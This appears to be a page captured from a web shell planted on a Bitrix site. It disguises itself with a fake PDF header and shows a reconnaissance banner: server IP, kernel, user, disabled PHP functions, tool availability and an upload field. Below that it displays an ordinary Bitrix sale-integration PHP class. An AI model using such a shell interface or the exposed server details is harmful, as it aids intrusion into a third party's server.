%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 18.219.123.84 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/lib/exchange/integration/connector/ |
Upload File : |
<?php namespace Bitrix\Sale\Exchange\Integration\Connector; use Bitrix\Main\EventManager; use Bitrix\Sale\Exchange\Integration\App\IntegrationB24; use Bitrix\Sale\Exchange\Integration\Connector\Placement\IntegrationB24NewOrder; use Bitrix\Sale\Exchange\Integration\Connector\Placement\IntegrationB24Registry; use Bitrix\Sale\Exchange\Integration\Service\Scenarios; use Bitrix\Sale\Exchange\Integration\Token; class Manager { protected $app; public function __construct() { $this->app = new IntegrationB24(); } public function isOn() { return Token::getExistsByGuid($this->app->getCode()); } public function delete() { $registry = new IntegrationB24Registry($this->app); $neworder = new IntegrationB24NewOrder($this->app); $result['PLACEMENTS'][] = [ 'PLACEMENT'=>$registry->getPlacement(), 'HANDLER'=>$registry->getPlacmentHandler() ]; $result['PLACEMENTS'][] = [ 'PLACEMENT'=>$neworder->getPlacement(), 'HANDLER'=>$neworder->getPlacmentHandler() ]; $result['OPTIONS'] = ['url'=>$this->app->getAppUrl()]; (new Scenarios\Connector())->delete($result); Token::delete($this->app->getCode()); \CAgent::RemoveAgent('\\Bitrix\\Sale\\Exchange\\Integration\\Agent\\Statistic::modify();', 'sale'); static::unRegisterEvents(); } public function add() { $registry = new IntegrationB24Registry($this->app); $neworder = new IntegrationB24NewOrder($this->app); $result['PLACEMENTS'][] = [ 'PLACEMENT'=>$registry->getPlacement(), 'HANDLER'=>$registry->getPlacmentHandler(), 'GROUP_NAME'=>$registry->getGroupName(), 'TITLE'=>$registry->getTitle(), ]; $result['PLACEMENTS'][] = [ 'PLACEMENT'=>$neworder->getPlacement(), 'HANDLER'=>$neworder->getPlacmentHandler(), 'GROUP_NAME'=>$neworder->getGroupName(), 'TITLE'=>$neworder->getTitle(), ]; $result['OPTIONS'] = ['url'=>$this->app->getAppUrl()]; $result['PROVIDER'] = [ 'xmlId'=>$this->app->getCode(), 'name'=> (string)\Bitrix\Main\Config\Option::get('main', 'site_name'), 'externalServerHost'=> (string)\Bitrix\Main\Config\Option::get('main', 'server_name', \Bitrix\Main\Application::getInstance()->getContext()->getRequest()->getHttpHost()) ]; (new Scenarios\Connector())->add($result); \CAgent::AddAgent('\\Bitrix\\Sale\\Exchange\\Integration\\Agent\\Statistic::modify();', 'sale', 'N', 3600); static::registerEvents(); } protected static function registerEvents() { $eventManager = EventManager::getInstance(); //region Order handlerCallback $eventManager->registerEventHandler( "sale", "OnSaleOrderSaved", "sale", '\Bitrix\Sale\Exchange\Integration\Handler', 'handlerCallbackOnSaleOrderSaved'); $eventManager->registerEventHandler( "sale", "OnSaleStatusOrderChange", "sale", '\Bitrix\Sale\Exchange\Integration\Timeline\Order', 'statusNotify'); $eventManager->registerEventHandler( "sale", "OnSaleOrderCanceled", "sale", '\Bitrix\Sale\Exchange\Integration\Timeline\Order', 'canceledNotify'); //endregion //region Payment handlerCallback $eventManager->registerEventHandler( "sale", "OnPaymentPaid", "sale", '\Bitrix\Sale\Exchange\Integration\Timeline\Payment', 'paidNotify'); //endregion //region Shipment handlerCallback $eventManager->registerEventHandler( "sale", "OnSaleStatusShipmentChange", "sale", '\Bitrix\Sale\Exchange\Integration\Timeline\Shipment', 'statusNotify'); $eventManager->registerEventHandler( "sale", "OnShipmentAllowDelivery", "sale", '\Bitrix\Sale\Exchange\Integration\Timeline\Shipment', 'allowDeliveryNotify'); $eventManager->registerEventHandler( "sale", "OnShipmentDeducted", "sale", '\Bitrix\Sale\Exchange\Integration\Timeline\Shipment', 'deductedNotify'); //endregion } protected static function unRegisterEvents() { //region Order handlerCallback UnRegisterModuleDependences( "sale", "OnSaleOrderSaved", "sale", '\Bitrix\Sale\Exchange\Integration\Handler', 'handlerCallbackOnSaleOrderSaved'); UnRegisterModuleDependences( "sale", "OnSaleStatusOrderChange", "sale", '\Bitrix\Sale\Exchange\Integration\Timeline\Order', 'statusNotify'); UnRegisterModuleDependences( "sale", "OnSaleOrderCanceled", "sale", '\Bitrix\Sale\Exchange\Integration\Timeline\Order', 'canceledNotify'); //endregion //region Payment handlerCallback UnRegisterModuleDependences( "sale", "OnPaymentPaid", "sale", '\Bitrix\Sale\Exchange\Integration\Timeline\Payment', 'paidNotify'); //endregion //region Shipment handlerCallback UnRegisterModuleDependences( "sale", "OnSaleStatusShipmentChange", "sale", '\Bitrix\Sale\Exchange\Integration\Timeline\Shipment', 'statusNotify'); UnRegisterModuleDependences( "sale", "OnShipmentAllowDelivery", "sale", '\Bitrix\Sale\Exchange\Integration\Timeline\Shipment', 'allowDeliveryNotify'); UnRegisterModuleDependences( "sale", "OnShipmentDeducted", "sale", '\Bitrix\Sale\Exchange\Integration\Timeline\Shipment', 'deductedNotify'); //endregion } }